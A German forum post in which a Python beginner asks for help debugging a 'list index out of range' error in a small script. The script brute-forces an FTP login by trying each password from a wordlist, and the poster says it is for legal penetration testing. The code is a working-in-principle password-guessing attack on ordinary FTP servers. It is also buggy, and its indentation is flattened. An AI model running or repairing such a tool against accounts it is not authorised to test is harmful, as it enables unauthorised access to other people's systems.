ich code seit einem Tag Python und bin sehr begeistert.
Ich komme aus der JAVA Ecke und bleibe auch dort.
Nun habe ich ein kleines Problem in Python:
Ich will folgendes Tool schreiben (Lediglich zu legalen Penetrationtestzwecken,
ich distanziere mich von jeglichen Straftaten im IT-Bereich).
Es wird sich automatisch eine Reihe von Passwörtern ausprobiert mit denen probiert wird,
sich in einem FTP Account einzuloggen (Ich muss dieses konkrete Beispiel nenne, weil nur Beispiele solcher Art folgendes Problem erzeugen)
Code: Alles auswählen
import sys
import re
from ftplib import FTP
import ftplib
proto = sys.argv[1]
host = sys.argv[2]
user = sys.argv[3]
file = sys.argv[4]
fobjc = open(file, "r")
fobj = open(file, "r")
index = 0
def count():
a = 0
for i in fobjc:
a += 1
return a
def fill(a):
list = range(0,a,1)
a = 0
for word in fobj:
word = word.split("\n")
list[a] = word[0]
a += 1
return list
def brute(a):
print "Checking Password: " + a
ftpconn = FTP(host,user,a)
s = ftpconn.getwelcome()
if (re.search("203",s)) == None:
print s
sys.exit()
def main(index):
list = fill(count())
while(1):
try:
brute(list[index])
except ftplib.all_errors as detail:
index += 1
main(index)
main(index)
Es wird eine Textdatei geladen, die eine Passwortliste enhält.
Diese Passwörter werde in ein Array passender Größe gefüllt.
Wenn der Array befüllt wurde, wird dieser Array zurückgegeben in die Hauptfunktion,
die undendlich oft durchläuft.
Sie sollte eigentlich unendlich viele Exceptions diesen Typs auffangen können,
weil bei einer geworfenen exception von brute, main sich selber aufruft.
Jedoch erscheint bei mir die Fehlermeldung: "list index out of range"
Doch egal was ich mache oder ändere, es wird die List nicht durchlaufen,
ich hoffe ihr könnt ihr mit bissl helfen, danke
euer pythondhst123